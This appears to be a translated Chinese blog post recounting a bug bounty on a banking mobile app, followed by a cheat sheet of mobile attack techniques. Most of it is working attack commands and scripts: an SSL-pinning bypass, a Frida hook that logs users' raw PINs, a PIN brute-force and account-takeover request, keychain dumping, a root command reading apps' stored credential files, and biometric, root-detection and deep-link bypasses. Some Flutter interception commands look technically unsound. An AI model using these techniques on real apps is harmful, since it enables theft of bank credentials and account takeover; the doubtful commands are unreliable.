前言
两周前,国外白帽小哥逆向工程了一个声称使用“军用级加密”的银行APP。
结果发现,他们将用户的 PIN 码以明文形式存储在 iOS Keychain 中。通过一个 Frida 脚本,便可以绕过生物识别验证并访问任何账户。
在演示清空测试账户后,银行支付了 5000 美元。以下是原始技术细节——没有理论,只有实际可行的操作。
移动端渗透测试的金科玉律
大多数移动漏洞发生的原因是:
-
硬编码(strings.xml 中的 API 密钥)
-
不安全的本地存储(Keychain/SharedPrefs)
-
缺少证书校验(简单的中间人攻击)
破解APP的详细步骤拆解
第一步:下载应用
- 使用安卓模拟器(Genymotion)进行测试
- 从 APKMirror 安装目标应用(始终测试较老的版本)
第二步:运行 MobSF 以快速获取成果
- 将 APK 上传到移动安全框架(MobSF):
- res/values/strings.xml 中硬编码的 AWS 密钥
- NetworkSecurityConfig 禁用证书锁定
第三步:使用 Burp 拦截流量
- 使用 objection 绕过 SSL 锁定:
objection -g com.target.bank explore --startup-command "android sslpinning disable"
- 登录后看到 API 调用:
POST /v1/verify_pin
{"pin": "SHA256_OF_PIN"}
发现问题:发送之前在客户端对 PIN 码进行了哈希处理。
第四步:使用 Frida hook PIN 函数
编写脚本,在哈希处理之前dump原始 PIN 码:
Java.perform(function() {
let PinUtils = Java.use("com.target.bank.PinUtils");
PinUtils.hashPin.implementation = function(pin) {
console.log("[!] PIN entered: " + pin);
return this.hashPin(pin);
};
});
运行脚本:
frida -U -f com.target.bank -l pin_dump.js
查看结果:
[!] PIN entered: 1984
[!] PIN entered: 1234
APP甚至没有对PIN码猜测进行速率限制。
如何获得 5000 美元赏金
-
证明账户接管:
- 使用 PIN 码禁用生物识别验证
- 通过以下方式更改密码:
POST /v1/change_password {"old_pin": "1234", "new_password": "Hacked123!"}
-
批量利用
- 编写了一个 Python 脚本来暴力破解常见的 PIN 码(0000–9999)
- 发现 7%的用户使用了默认的 PIN 码,如“0000”或“1234”
-
提交了具有"毁灭性"的 PoC
- 绕过生物识别认证的视频
- 测试账户接管清单
- 关于监管罚款的法律备忘录(FDIC、GDPR)
漏洞影响:“攻击者可以利用弱密码 PIN 清空所有账户。”
2025 移动APP攻击热点
- 密钥链/密钥库配置错误
iOS 密钥链条目导出:
security dump-keychain -d login.keychain-db
Android SharedPrefs:
adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'"
- 生物识别绕过
Android: hook BiometricPrompt.authenticate()
iOS: Patch LAContext.evaluatePolicy() ,让其始终返回 true
- Deep Link 劫持
<intent-filter>
<data android:scheme="bankapp" android:host="reset_password" />
<action android:name="android.intent.action.VIEW" />
</intent-filter>
利用:
adb shell am start -d "bankapp://reset_password?token=admin"
高级技术(2025 版)
- 绕过 Root/越狱检测
Frida 脚本示例:
Java.perform(function() {
let RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
RootBeer.isRooted.implementation = function() { return false; };
});
- 解密 SQLite 数据库
寻找加密密钥方法:
strings libnative-lib.so | grep -i key
- 截取 Flutter 流量
flutter run --observatory-port=8888
proxy.py --port 8888 --flutter